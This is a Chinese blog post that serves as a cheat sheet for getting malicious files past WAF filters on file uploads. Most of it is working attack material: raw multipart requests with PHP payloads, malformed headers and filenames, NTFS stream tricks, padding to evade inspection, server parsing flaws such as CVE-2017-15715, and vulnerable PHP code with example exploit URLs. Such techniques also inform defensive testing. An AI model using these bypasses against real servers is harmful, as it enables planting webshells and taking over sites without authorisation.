美文网首页
File_Upload ByPass WAF by L0st

File_Upload ByPass WAF by L0st

作者: l0st | 来源:发表于2018-12-02 17:57 被阅读0次

    中间件可解析的后缀

    语言 可解析后缀
    asp/aspx asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
    php php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
    jsp jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml

    中间件漏洞

    IIS

    1. IIS6.0文件解析 xx.asp;.jpg
    2. IIS6.0目录解析 xx.asp/1.jpg
    3. IIS 7.0畸形解析 xxx.jpg/x.asp

    Apache

    1. %0a(CVE-2017-15715)
    2. 未知后缀 test.php.xxx

    Nginx

    1. 访问连接加/xxx.php test.jpg/xxx.php
    2. 畸形解析漏洞 test.jpg%00xxx.php或test.jpg%20.php
    3. CVE-2013-4547 test.jpg(非编码空格)\0x.php

    Tomcat

    1. xxx.jsp/
    2. xxx.jsp%20
    3. xxx.jsp::$DATA

    一个完整的Http request header:

    POST / HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://localhost/
    Content-Type: multipart/form-data; boundary=---------------------------24464570528145
    Content-Length: 328
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    -----------------------------24464570528145
    Content-Disposition: form-data; name="file_x"; filename="1.php"
    Content-Type: application/octet-stream
    
    <?php
    phpinfo();
    ?>
    
    -----------------------------24464570528145
    Content-Disposition: form-data; name="submit_x"
    
    upload
    -----------------------------24464570528145--
    
    

    针对检查Request header的bypass

    一般WAF检查两个点:

    1. Content-Disposition: form-data; name="file_x"; filename="xx.jpg"
    2. Content-Type:image/gif
    

    0x01 引号处
    name 和 filename 的两个双引号都是可以去掉,也可以改成单引号。

    0x02 大小写

    • Content-Disposition
    • name
    • filename
      这三个关键词都可以进行大小写转换

    0x03 加空格
    : ; = 前后加一个或多个空格(filename后的等号前不要加)

    0x04 去掉或修改Content-Disposition的值
    Content-Disposition: name="file_x"; filename="xx.jpg"

    0x05 交换name和filename的顺序
    name,filename顺序可以交换,但Content-Disposition必须在最前面

    0x06 多个boundary
    添加多个boundary,会上传最后一个boundary的值,如果WAF只读取第一个即可绕过(IIS会取第一个Content-Disposition的值)

    ------WebKitFormBoundaryj1oRYFW91eaj8Ex2
    Content-Disposition: form-data; name="file_x"; filename="test.txt"
    Content-Type: text/javascript
    
    <?php phpinfo(); ?>
    ------WebKitFormBoundaryj1oRYFW91eaj8Ex2
    Content-Disposition: form-data; name="file_x"; filename="test.php"
    Content-Type: text/javascript
    
    <?php phpinfo(); ?>
    ------WebKitFormBoundaryj1oRYFW91eaj8Ex2
    Content-Disposition: form-data; name="submit_x"
    
    upload
    ------WebKitFormBoundaryj1oRYFW91eaj8Ex2--
    

    0x07 多个filename
    最终成功上传shell.php,但正则匹配会匹配第一个
    Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="shell.php"

    0x08 多个分号
    文件解析时,可能解析不到文件名,导致绕过。
    Content-Disposition: form-data; name="file_x";;; filename="test.php"

    0x09 在boundary前加字符
    例如
    Content-Type: multipart/form-data; bypass2222233333boundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2

    0x10 filename换行
    filename处随意换行:
    Content-Disposition: form-data; name="file_x"; fi lename="test.php"

    0x11 在name和filename之间添加任意字符串
    Content-Disposition: name="file_x"; bypass waf upload222333; filename="test.php";

    0x12 IIS6.0下更改正文格式
    可以将filename放到Content_Type下面去,如:

    Content-Disposition: form-data; name="file_x"; 
    Content-Type: application/octet-stream
    filename="1.php"
    

    0x13 Windows特殊字符

    1. 上传filename为shell.php{%80-%99}
      (在burpsuite的hex模块更改)
    2. 将[shell].php改成ascii>127的字符

    0x14 NTFS ADS特性

    上传文件名 服务器表明现象 生成的文件内容
    test.php:a.jpg 生成test.php
    test.php::$INDEX_ALLOCATION 生成test.php文件夹 Null
    test.php::$DATA 生成test.php <?phpinfo;?>
    test.php::$DATA.jpg 生成0.jpg <?phpinfo;?>
    test.php::$DATA\aaa.jpg 生成aaa.jpg <?phpinfo;?>

    0x15 不同的Boundary(IIS6.0+ASP)

    -----------------------------24464570528145
    Content-Disposition: form-data; name="file_x"; filename="1.php"
    Content-Type: application/octet-stream
    
    <?php
    phpinfo();
    ?>
    
    -----------------------------244aaaaaaaaaa5
    Content-Disposition: form-data; name="submit_x"
    
    upload
    -----------------------------24464570528145--
    

    0x16 数据过长导致绕过

    -----------------------------24464570528145
    Content-Disposition: form-data; name="file_x"ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd*10000000(此处省略...); filename="1.php"
    Content-Type: application/octet-stream
    
    <?php
    phpinfo();
    ?>
    
    -----------------------------24464570528145
    Content-Disposition: form-data; name="submit_x"
    
    upload
    -----------------------------24464570528145--
    

    或者构造长文件名,不一定是'.',还可以是别的符号比如中文字符和emoji,要足够多,可能绕过文件重命名:
    filename="shell.............................................................php"

    针对文件内容验证绕过

    0x01 检测文件头
    即校验content-type(image/gif)
    常见文件头

    文件格式 文件头
    jpg jpe jpeg JPGGraphic File
    gif GIF 89A
    zip Zip Compressed
    doc xls xlt ppt apr MS Compound Document v1 or Lotus Approach APRfile

    0x02 垃圾数据
    有些WAF为了效率,会对检验的用户数据设置上限,比如1M,那么我们可以在数据包里添加垃圾数据,使前1M都是垃圾数据,后面的才是有效语句。

    -----------------------------24464570528145
    Content-Disposition: form-data; name="file_x"; filename="1.php"
    Content-Type: application/octet-stream
    a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaa使劲加
    <?php
    phpinfo();
    ?>
    
    -----------------------------24464570528145
    Content-Disposition: form-data; name="submit_x"
    
    upload
    -----------------------------24464570528145--
    

    0x03 提交方法混淆
    有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。此种情况可以上传一个POST型的数据包,抓包将POST改为GET。然后仍然传输POST的数据

    代码审计中的文件上传

    关注empty(),iconv(),copy()等函数

    1. iconv() 在转换字符串编码时会出现截断问题:
      $filename="shell.php(hex).jpg" hex为0x80-0x99经过iconv转码后会变成 $filename="shell.php ";
    2. file_put_contents()在写入文件时的第二个参数可以传入数组,如果是数组的话,将被连接成字符串再进行写入。在正则匹配前,传入的是一个数组。得益于PHP的弱类型特性,数组会被强制转换成字符串,也就是Array,Array肯定是满足正则\A[ _a-zA-Z0-9]+\z的,所以不会被拦截。这样就可以绕过类似检测“<?”之类的waf
    3. 当file_put_contents、copy、file_get_contents等读取写入操作与unlink、file_exists等删除判断文件函数之间对于路径处理的差异导致的删除绕过:
    <?php
    $user=$_GET['user'];
    var_dump($user);
    echo $user['name'];
    $filename = __DIR__.'\\'.$user['name'];
    echo $filename;
    $data = $user['info'];
    
    file_put_contents($filename, $data);
    if(file_exists($filename)){
    unlink($filename);
    }
    

    当file_put_contents和file_exists、unlink等一起使用时可是导致绕过。
    所以,linux可以通过xxxxx/../test.php、test.php/. 来绕过删除

    windows可以通过test.php:test test.ph<来绕过文件删除

    拿windows实例:

    http://127.0.0.1/l.php?user[name]=2.php:test&user[info]=2y 会生成2.php

    http://127.0.0.1/l.php?user[name]=2.ph<&user[info]=2y 会写入内容

    最新的Apache(2.4.0-2.4.29)解析漏洞CVE-2017-15715(P师傅)

    如今的apache以及无法解析shell.php.xxxxx类似的文件的。
    利用条件:
    获取文件名时不能用$_FILES['file']['name']因为他会自动把换行去掉,这一点有点鸡肋

    但如果服务端是使用黑名单限制上传文件格式的,如:

    <?php
    if(isset($_FILES['file'])) {
        $name = basename($_POST['name']);
        $ext = pathinfo($name,PATHINFO_EXTENSION);
        if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
            exit('bad file');
        }
        move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
    }
    
    

    我们上传一个包含换行符的文件即可绕过,即在burpsuite中shell.php后面添加一个hex格式的0A,
    然后访问1.php%0A即可。

    https://joychou.org/web/bypass-waf-of-file-upload.html
    https://www.freebuf.com/column/161357.html
    http://www.am0s.com/functions/386.html
    https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html

    相关文章

      网友评论

          本文标题:File_Upload ByPass WAF by L0st

          本文链接:https://www.haomeiwen.com/subject/krxscqtx.html